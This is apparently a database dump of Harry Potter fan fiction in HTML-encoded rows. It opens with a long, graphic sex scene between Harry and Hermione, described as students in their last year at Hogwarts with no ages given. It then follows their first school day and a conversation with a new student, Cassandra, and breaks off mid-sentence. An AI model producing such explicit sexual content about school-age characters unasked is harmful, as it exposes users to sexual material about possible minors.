class="MsoNormal">&#8220;True,\nbut I like hearing it again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well\nthen&#8230;&#8221; Harry pulled her close and brushed his lips over hers, &#8220;&#8230;remember this,\nmy love, you will always be beautiful and sexy to me &#8211; today, tomorrow, and for\nthe rest of our lives.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nfelt like she was going to cry.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Kiss\nme, my eloquent hero!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ncrushed her against his chest, and he devoured her mouth hungrily.&nbsp; In a rather odd display of agility, Harry\nbent down awkwardly and swept Hermione into his arms without breaking their\nkiss.&nbsp; She purred happily, and he\ncarried her over to his bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nspread herself out like a big cat and smiled up at her lover.&nbsp; She liked the fact that he only had on a\nt-shirt and shorts; it made it so much easier to undress him.&nbsp; She crooked her finger at him, but for once,\nhe didn&#8217;t obey her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\ntonight, Herm, I have something special in store for you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nmoved down to the foot of the bed, and he picked up her left foot.&nbsp; Hermione looked at him confused, but he\nsmiled and began stroking the soft skin.&nbsp;\nHer eyes closed, and she sighed happily as his skillful hands massaged\nher foot.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That\nfeel nice?&#8221; he said softly and squeezed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hmm&#8230;mmm&#8230;&#8221;\nshe mumbled incoherently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ngrinned as he watched her toes wiggle &#8211; just as he&#8217;d hoped.&nbsp; Bending down, he kissed her big toe, and\nHermione&#8217;s eyes shot open.&nbsp; She looked\ndown at him in surprise, but he merely grinned.&nbsp; Harry gently kissed her feet, and he listened as Hermione swooned\nwith pleasure.&nbsp; He playfully sucked on\nher large toe, and she nearly screamed.&nbsp;\nHe moved onto each smaller toe, almost tickling her with his soft touch.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nfelt like she was half-drunk.&nbsp; How could\nthis feel so good?&nbsp; It was amazing that\nHarry could turn her into a blubbering fool just by sucking on her toes, and he\nhadn&#8217;t even finished yet!&nbsp; He moved over\nto her right foot and paid it the same attention.&nbsp; He kissed each toe reverently, and he felt a shutter pass through\nher entire body.&nbsp; Squeezing her foot one\nlast time, he got up off the floor.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\ncould barely focus her thoughts, and she couldn&#8217;t feel Harry near her feet\nanymore.&nbsp; He stood at the foot of the\nbed and leaned over her slightly.&nbsp;\nPlacing his hands on her ankles, he slid slowly and sensuously up her\nlegs.&nbsp; Hermione moaned as his fingers\nteased her sensitive skin, and goosebumps prickled her legs as her nightgown\nrose higher and higher with his hands.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nwas trying to take his time with his seduction, but damn, she had the sexiest\nlegs he&#8217;d ever seen!&nbsp; He grinned as her\nnightgown rode up higher and higher as his hands slid higher and higher.&nbsp; He advanced up the bed, stalking her like a\nhungry predator.&nbsp; Her eyes were closed\nso she couldn&#8217;t see his eyes burning with lust and desire.&nbsp; Hermione gasped as her nightgown rose over\nher center, and she heard Harry groan in exasperation.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8216;Little\nvixen&#8230;&#8217; he growled silently at seeing she&#8217;d chosen not wearing underwear\ntonight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">His\nsmile was almost fickle as he saw his lover swollen with desire and\npassion.&nbsp; She was hot for him; there was\nno doubt about it.&nbsp; His hands stopped\nmoving upwards, and he received a disapproving groan.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Patience,\nmy angel,&#8221; he said in a husky baritone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nleaned forward and lifted her legs up onto his shoulders.&nbsp; He kissed her supple thighs and felt her\nmuscles tense in response.&nbsp; His gaze\nmoved to the blooming rose in front of his face.&nbsp; He kissed the tender flesh, and Hermione nearly shrieked.&nbsp; He kissed her again, and her hips nearly\nsnapped into his face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;please&#8230;I\ncan&#8217;t&#8230;&#8221; she begged.&nbsp; Her body was aching\nwith need, and she needed relief.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You\ncan, and you will,&#8221; he growled against her.&nbsp;\nA delicious shutter passed through her at his commanding tone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\ngrasped her hips and forced them down to the mattress.&nbsp; Then, he slid upward and covered her\ncompletely.&nbsp; His tongue probed the moist\nfolds, and they parted as if waiting for his arrival.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221;\nHermione cried out as he dipped into her channel.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Her\nhands moved down to tangle in his hair, and he let her guide him &#8211; for\nnow.&nbsp; She pushed him harder against her\ncenter, and her juices poured from her body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes&#8230;Harry&#8230;right\nthere&#8230;&#8221; He did as she instructed and circled the small bulb of her desire.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here&#8230;my\nHermione&#8230;&#8221; and he kissed the nub affectionately.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yessssssssss!&#8221;\nshe hissed in relief, and her body exploded.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry&#8217;s\nmouth was flooded with her essence, but he did not waver.&nbsp; His mouth continued to attack her\nmercilessly, and Hermione&#8217;s back arch off the bed.&nbsp; Her hands fisted in the sheets, and she moaned his name over and\nover again.&nbsp; Harry took everything her\nbody gave him as he watched her writhe in ecstasy, but he wanted it again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Again&#8230;Herm&#8230;do\nit for me again,&#8221; he commanded in a seductive tone.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nHarry&#8230;I&#8230;I can&#8217;t&#8230;&#8221; she pleaded, but her body contradicted her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes...you\ncan&#8230;now cum for me again, Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As\nimpossible as it seemed, the young woman felt another wave rising in her belly,\nand it slammed into her so hard, she nearly passed out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221;\nshe howled, and her body collapsed in exhaustion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nkissed her flower one last time and sat up on his knees.&nbsp; Hermione was a boneless heap in front of\nhim, and he smiled at how wantonly she had responded to him. &nbsp;His hands stroked her stomach, and he slid\nher nightgown up and over her head.&nbsp; She\nnow lay before him in all her natural beauty, and he would never tire of seeing\nit.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione,&#8221;\nhe whispered softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nslowly opened her eyes to see Harry&#8217;s gentle face looming over her.&nbsp; He&#8217;d removed his glasses, and his emerald\nspheres were practically glowing.&nbsp; His\nhands were on her breasts, softly caressing the hardened nubs into burning tips\nfor his mouth to soon feast on.&nbsp;\nHermione felt her body awaken as she felt his shaft brushing her\nopening.&nbsp; When had he lost his\nclothes?&nbsp; How long had she been out of\nit?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;I&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shh,&#8221;\nhe quieted her with a soft kiss, &#8220;Don&#8217;t talk, love, just feel.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\npushed forward, and he drove into her sweet depths.&nbsp; Hermione&#8217;s eyes closed again as she felt his wonderful length\nfilling her body completely.&nbsp; His lips\nfound hers, and her fingers grappled his messy, black hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nwas at a loss; she couldn&#8217;t believe he&#8217;d done this.&nbsp; Harry wasn&#8217;t just making love to her; he was worshipping\nher.&nbsp; His hands continued to knead her\nsensitive breasts, and he moved in and out of her willing body.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;Harry&#8230;Harry&#8230;&#8221;\nshe chanted his name as he turned her body into a well of overflowing pleasure.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes\nHermione&#8230;take it all&#8230;don&#8217;t hold back&#8230;&#8221; he whispered softly.&nbsp; He continued to encourage her, and she began\nbucking her hips insistently against him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes&#8230;Harry&#8230;more&#8230;more\nplease&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\nyoung wizard turned it up notch.&nbsp; He\nleaned forward and placed it weight on his forearms.&nbsp; Angling his hips upward, he thrust into her even deeper than\nbefore, and Hermione cried out in approval.&nbsp;\nHis hands squeezed her breasts a little harder, and his tongue mated\nhungrily with hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;This\nis what I want Hermione&#8230;this is all I want&#8230;I want to be here&#8230;in your arms&#8230;\nburied deep inside you&#8230;always.&#8221; He moaned the words into her mouth.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nwhat I want too, my darling,&#8221; she answered back.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nravaged her endlessly, and he silently wondered where he was getting such\nincredible stamina, but he refused to give in &#8211; even after four hours straight.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nwas a wreck, but she&#8217;d never felt more alive.&nbsp;\nHow could a human body feel such things as this?&nbsp; Harry had made her climax endlessly over and\nover again; she&#8217;d lost count after number five.&nbsp; How could he have such incredible resilience?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;One\nmore time, Hermione&#8230;cum for me one more time,&#8221; he urged her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She\nhad no idea where it came from, but her body clutched him once again, and she\nscreamed as her climax took hold.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;HARRY!&#8221;\nshe cried into his sweaty hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ah&#8230;by\nMerlin&#8230;I can&#8217;t&#8230;HERMIONE!&#8221; he called out and nuzzled her neck.&nbsp; His body erupted inside hers, and he\nexperienced the longest, sweetest orgasm of his life.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\ntwo lovers lay there like two lumps of flesh that&#8217;d had their bones\nremoved.&nbsp; Their bodies were totally\ndrained, but their hearts pounded in time with one another.&nbsp; Surprisingly, Hermione was the first to\nmove, and she wrapped him in loose hug.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;My\nsweet Harry&#8230;&#8221; she murmured softly, running her fingers through his damp hair.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">After\na few minutes, he stirred and lifted his head from her neck.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi,&#8221;\nhe said stupidly, and she cracked a tired smile at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi,&#8221;\nshe replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did\nI just have a really great dream, or was that the sweetest love we&#8217;ve ever\nmade?&#8221; he asked breathlessly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re\nnot dreaming, Harry, you just ravaged me beyond all recognition.&#8221; She was right\ntoo.&nbsp; Her hair was a frizzy mess, her\neyes were puffy from crying tears of pleasure, her body smelled of sweat and\nsex, and her lips were swollen from their hungry kisses.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ravaged\nyes, but still the most beautiful,&#8221; he said softly and kissed her gently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Finally\nregaining his strength, Harry lifted himself off her body, and Hermione groaned\nin disappointment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why&#8217;d\nyou move?&nbsp; I like you there.&#8221; He grinned\nat her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sweetheart,\nI think it&#8217;s best if you sleep on top.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">With\nthose words, Harry grasped her hips and rolled them over.&nbsp; Hermione stretched out across his chest and\nsighed happily.&nbsp; She quickly squeezed\nher thighs together when he tried to pull out of her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221;\nhe asked with a confused expression.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Stay,&#8221;\nshe whispered and gazed into his eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Aren&#8217;t\nyou a little tender though?&#8221; he inquired, remembering their heated lovemaking\nshortly before, but she shook her head.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndon&#8217;t want to be apart from you tonight &#8211; not after the gift you just gave me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Then\nI shall grant your request.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Muttering\na spell under his breath, Harry drew the blankets up around their bodies, and\nthe last of the candles went out.&nbsp;\nHermione curled up on his chest, and he wrapped his arms around her soft\nbody.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nlove you, Harry Potter,&#8221; she whispered and closed her eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And\nI love you, Hermione Granger&#8230;Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\nadded his name after a few seconds, and she nuzzled her cheek against his\nchest.&nbsp; Harry reached down and clasped\nher hand in his.&nbsp; It may be a little\nwhile before they made it official, but in their hearts, they both knew that\nthey would always be together.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(244, 4, '\n\n\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Despite\ntheir neverending activities the night before, Harry and Hermione woke up\nearlier than normal.&nbsp; They both climbed\nout of bed, and he then followed her swaying hips into the bathroom where they\nshowered together.&nbsp; It was the first\ntime that Harry had ever consider washing your body as a form of torture for\nthat is exactly what Hermione did to him.&nbsp;\nAfter drying one another off, they returned to their separate rooms to\ndress.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nmet her ten minutes later down in their Common Room.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ready\nfor the first day?&#8221; Hermione bubbled happily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes\nand no.&nbsp; I&#8217;m happy to be back, but this\nis gonna be our last year.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;True,\nbut it&#8217;s not the end of the world.&nbsp; You\nshould know that better than anyone.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Very\nfunny, Herm.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And\nspeaking of better&#8230;&#8221; She pressed up against him, and her eyes darkened, &#8220;&#8230;don&#8217;t\nplan on sleeping tonight, love, I owe you some serious retribution for the\nmagic you worked on me last night.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can\nI help it if I love to touch you?&#8221; Harry asked and brushed his fingers across\nher cheek.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,\nthe only problem is that the girls are going to wonder what&#8217;s wrong with\nme.&nbsp; I won&#8217;t be able to stop smiling all\nday,&#8221; she giggled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ntake that as a compliment,&#8221; her lover snickered.&nbsp; Hermione stood up on her tiptoes and kissed him firmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s\na fact, Harry, you&#8217;re wonderful to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;And\nyou to me.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The\ntwo shared a long hug before reluctantly parting.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Classes\nawait,&#8221; he drawled.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nheld out his hand, and Hermione readily took it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Shall\nwe, milady?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Lead\nthe way.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hogwarts\nwas a bustling place on the first day of classes.&nbsp; All the first years were dashing about the halls trying to find\ntheir classrooms.&nbsp; Harry and Hermione\neasily wormed their way through the mass of people until they had to part.&nbsp; He had Advanced Arithmacy, and she had\nExpert Transfiguration.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ll\nsee you at lunchtime, okay?&#8221; she asked sweetly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure,\nI&#8217;ll see you then.&#8221; Bending down, he brushed their lips together and let her\ngo.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bye\nlove, see later.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Bye\nsweetheart.&#8221; Harry watched her head off for Professor McGonagall&#8217;s classroom\nwatching her brown hair bounce as she walked down the hallway.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright, time to go.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">When\nHarry spun around, he bumped into someone and immediately grabbed their arm to\nstop them from falling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nsorry about that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nquite all right,&#8221; a melodious voice replied.&nbsp;\nThe girl brushed her blonde hair out of the way and smiled; it was none\nother than Cassandra.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh\nCassandra, I didn&#8217;t recognize you for a minute.&nbsp; Didn&#8217;t mean to run into you like that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nworry, Harry, I&#8217;m fine, but umm&#8230;I was wondering&#8230;could you help me?&#8221; she asked,\nher voice coated with sugar.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nremembered his scar reacting the other night in the Great Hall, but he still\nhad no proof that it was because of her, and besides, she was a\nGryffindor.&nbsp; He decided to give her the\nbenefit of the doubt.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure\nthing, what&#8217;s the problem?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cassandra&#8217;s\ncheeks tinted slightly, and her head lowered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well&#8230;this\nis my first time at Hogwarts, and I don&#8217;t quite know where my class is.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry\nchuckled slightly and grinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nlaugh at me!&#8221; she gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nnot laughing at you, I promise, trust me, I was the same way my first day\nhere.&nbsp; Look, you have Advanced Arithmacy\nnow too right?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nthat&#8217;s correct.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come\non, I&#8217;m was just on my way over there.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He\ntugged on her arm slightly, and Cassandra followed after him.&nbsp; They walked down the hallway with almost\nevery pair of eyes turning to follow after them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So\nHarry, it must be rather exciting to be as famous as you are.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not\nreally, it&#8217;s more a pain than anything.&nbsp;\nIt used to be where I had people bugging left and right &#8211; either for a\npicture or some memento that they had met me.&nbsp;\nIt was really stupid; I mean, I&#8217;m just as normal as everyone else.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re\nnot normal; you&#8217;re Harry Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;See\nwhat I mean?&#8221; he quipped.&nbsp; Cassandra\nfinally got what he was trying to say.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yes,\nI think so, whenever you meet someone, they already have a picture of you\npainted in their minds of who and what you are.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Exactly.&nbsp; I&#8217;m nobody special; I just happen to have\nabilities that others don&#8217;t.&nbsp; There are\na lot of things I don&#8217;t do well &#8211; Potions, Herbology, and especially Divination.&nbsp; Professor Trelawney used to predict my death\nat least three times a week!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Cassandra\ngiggled and covered her mouth to hide it, but Harry still caught her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nsorry,&#8221; she apologized.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nall right, it really is quite funny; she&#8217;s a little eccentric.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So\nwhat do you do in your spare time?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,\nI&#8217;m pretty busy will classes&#8230;plus I also play quidditch as well.&nbsp; Both Ron and I are on the house team.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;ve\nnever seen a real quidditch game.&nbsp; It\nwasn&#8217;t a big hit back in Salem.&nbsp; We had\na few intramural games but nothing official.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t\nworry, Cassandra, in a few weeks, you&#8217;ll get to see one first hand.&nbsp; Ron&#8217;s the captain and a beater.&nbsp; Our chasers are Arial Johnson (Angelina&#8217;s\nsister), Katherine Hornwell, and Brian Northhall.&nbsp; The other beater is Justin Schultz, and the keeper is Rachel\nWorthing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So\nwhat do you play?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh,\nI&#8217;m the seeker.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So\nyou have the most difficult job of all,&#8221; Cassandra gasped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s\nnot that hard; I kinda had some help because my father was a seeker as well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nsaw the field briefly yesterday; it&#8217;s huge; you must have a lot of fun.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Yeah.&nbsp; I loved flying since the first time I held a\nbroom; it was the one thing that I was good at.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nassume that Ron and Hermione like flying as well.&nbsp; You three are like peas in a pod.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well\nRon likes it, but Herm is a bit different.&nbsp;\nShe&#8217;s never cared for flying that much &#8211; plus she has a slight fear of\nheights.&nbsp; It&#8217;s okay though because she&#8217;s\nalways there at the games cheering us on.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;So\nhow long have you two been together?&#8221; Harry arched his eyebrows at her\nquestion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Why\nthe twenty questions?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m\nsorry.&nbsp; If I&#8217;m being nosy, just tell\nme.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndon&#8217;t usually talk about my personal life with everyone I meet, Cassandra,&#8221; he\nsaid with a slight glare.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\nunderstand.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tell\nyou what&#8230;you answer my question, and I&#8217;ll answer yours.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All\nright.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nare your parents like?&nbsp; They must be\nsomething to pick up and move clear across the ocean.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well,\nthey&#8217;re actually my adopted parents; my real mother died when I was very young.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What\nabout your father?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I\ndon&#8217;t know him very well.&nbsp; He left my\nmother when he found out she was pregnant.&nbsp;\nI tried to find him a few years ago, but he died as well.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s\nterrible, I can&#8217;t believe he&#8217;d just abandon your mother like that,&#8221; Harry said\nand shook his head in 